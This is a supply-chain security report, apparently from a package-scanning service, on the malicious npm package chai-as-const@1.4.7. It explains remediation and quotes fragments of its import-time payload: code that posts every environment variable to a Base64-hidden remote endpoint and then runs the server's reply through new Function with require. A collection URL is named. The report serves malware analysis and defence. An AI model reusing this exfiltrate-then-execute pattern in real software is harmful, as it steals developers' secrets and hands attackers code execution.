registry / Remote code execution / chai-as-const

chai-as-const

This document describes the management of vulnerabilities for the project and all modules within the organization.

This report shows the evidence for chai-as-const@1.4.7. 3 of 4 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the fake chai plugin campaign, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Source directly establishes credential/environment exfiltration and remote arbitrary code execution on ordinary package import. The lack of an install hook does not mitigate this active runtime payload.

Static reason

One or more suspicious static signals were detected.

Trigger

Any runtime `require('chai-as-const')` or import resolving `index.js`.

Impact

Secrets in environment variables can be disclosed; the remote operator can execute arbitrary Node.js code with the importing process's permissions.

Mechanism

Import-time environment exfiltration followed by remote code execution.

Attack narrative

The main entry point imports `lib/initializer.js`, whose immediately invoked async function Base64-decodes a remote URL, posts all environment variables to it, then passes the response body to `new Function` and executes it with `require`. This is a concrete import-time remote payload channel, not a dormant scanner signature.

AI rationale

Evidence

index.jslib/initializer.jspackage.json

Network endpoints1

ipcheck-hashed.vercel.app/api/identity/b4dadd6a26d820d08596

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js:6` imports `lib/initializer.js` during normal package import.
`lib/initializer.js:7-10` POSTs the entire `process.env` object to a Base64-hidden remote endpoint.
`lib/initializer.js:13-14` compiles and executes the server response with `new Function` and `require`.
`package.json` has no lifecycle hook; the malicious chain instead runs at import time.
`index.js:41-47` contains a commented detached child-process launcher, consistent with prior background execution intent.

Evidence against

No package lifecycle scripts are declared.
The inspected active payload does not write files or modify AI-agent configuration.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 16 file(s), 52.4 KB of source, external domains: github.com

Source & flagged code

5 flagged

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

lib/initializer.jsView file

2L3: const axios = require("axios"); L4: const configEndpoint = "[redacted]=="; ... L8: Buffer.from(configEndpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializer.jsView on unpkg · L2

2L3: const axios = require("axios"); L4: const configEndpoint = "[redacted]=="; ... L6: (async function initializer(..._args) { L7: const response = await axios.post( L8: Buffer.from(configEndpoint, 'base64').toString('utf-8'), L9: { ...process.env }, L10: { headers: { "x-secret-header" : "secret" } } ... L12: try { L13: const executor = new Function("require", response.data); L14: executor(require);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializer.jsView on unpkg · L2

12try { L13: const executor = new Function("require", response.data); L14: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializer.jsView on unpkg · L12

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Source & flagged code

5 flagged · loading source

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

lib/initializer.jsView file

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

lib/initializer.jsView on unpkg · L2

Findings

3 High3 Medium4 Low

HighChild Processindex.js

HighSame File Env Network Executionlib/initializer.js

HighBase64 Obscured Urllib/initializer.js

MediumNetwork

MediumEnvironment Vars

MediumSecret Patterndocs/transports.md

LowScripts Present

LowEvallib/initializer.js

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to chai-as-const@1.4.7.

The versions list below shows the verdict for each recorded version.

Avoid installing chai-as-const@1.4.7. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-04 22:05:00.602Z (UTC).

Source advisory published: 2026-07-08 17:30:45.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

0.0.1-securitylatestClean—AllowPublishedJul 16, 2026, 9:23 PM 1.4.7shownMaliciousRemote Code ExecutionBlockPublishedJul 16, 2026, 8:33 PM 1.4.6MaliciousMalwareBlockPublishedJul 16, 2026, 8:24 PM 1.4.5MaliciousRemote Code ExecutionBlockPublishedJul 7, 2026, 9:20 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages